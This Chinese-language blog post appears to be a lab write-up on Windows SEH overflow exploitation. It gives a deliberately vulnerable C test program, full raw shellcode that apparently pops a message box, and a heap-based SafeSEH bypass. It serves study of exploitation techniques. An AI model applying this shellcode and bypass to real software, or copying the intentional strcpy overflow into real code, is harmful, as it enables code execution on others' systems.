aiQG's Blog

Happy hacking. Happy developing.

aiQG's GitHub ⛓Links P
Other CTF Swift Developing&Reversing

seh异常处理

2 October 2019

by aiQG_

跟到main里发现main里的SHE节点已经初始化 p1 重启程序找到初始化main的SHE节点的函数 p2 进入test函数的SHE节点初始化 p3 触发断点后可以看见eip跳到了test函数的SE处理函数(并且在跳过去的过程中又创建了一个节点) p4 进入vcruntim, 往下找到获取异常处理函数地址的位置 p5

回到strcpy处, 计算buf变量到SEH节点(保存处理函数的地址处)的相对偏移(==0xd8) 覆盖成功 p6


基本流程梳理清楚了 尝试覆盖函数地址

vs2019关闭SAFESEH p7

程序无法跳到栈上执行(检查了目标地址是否在栈内) p9 所以采用直接跳到全局变量shellcode(0x403018)处执行 p8 shellcode:

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40\x00"

坑:

  1. 之前用了DEBUG版本, 发现eip并不能跳到指定位置, 程序在开始处理异常后会卡死, 猜测是进行了检查
  2. 程序没有触发异常, 发现是shellcode把变量zero的值给覆盖成了0x90909090, 然后把shellcode对应位置改成\x00后发现strcpy会截断\x00后的内容, 所以在strcpy后重新给zero重新赋0值(环境不同, 编译出的结果不同)

开启safeSEH

绕过safeSEH的方法还是挺多的

这里利用堆绕过

#include <stdio.h>
#include <Windows.h>

char shellCode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40\x00";
char jumpCode[] =
"aaaaaaaaaaaaa\xaa\xbb\xcc\xdd";

DWORD myExceptionHandler()
{
	printf("Got an exception!!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char* input)
{
	char *buf;
	buf = (char*)malloc(222); 
	char buf2 = 0;
	int zero = 0;
	__try
	{
		strcpy(buf, input);
		strcpy(&buf2, jumpCode);
		strcpy((char*)(&buf2 + 13), (char*)& buf);
		zero = 0;
		zero = 4 / zero;
	}
	__except (myExceptionHandler()) {};
}


int main()
{
	printf("main!!!!");
	test(shellCode);
	return 0;
}

shellCode内容相同, 执行的位置从全局变量区到了堆区(safeSHE允许在堆上执行)

jumpCode覆盖处理异常的函数的地址

CTF

return

email:nrxxmzlrovqw4z3fgeztcncaozuxaltroexgg33n

桂ICP备18011144号-1 (点击访问安全的工信部网站)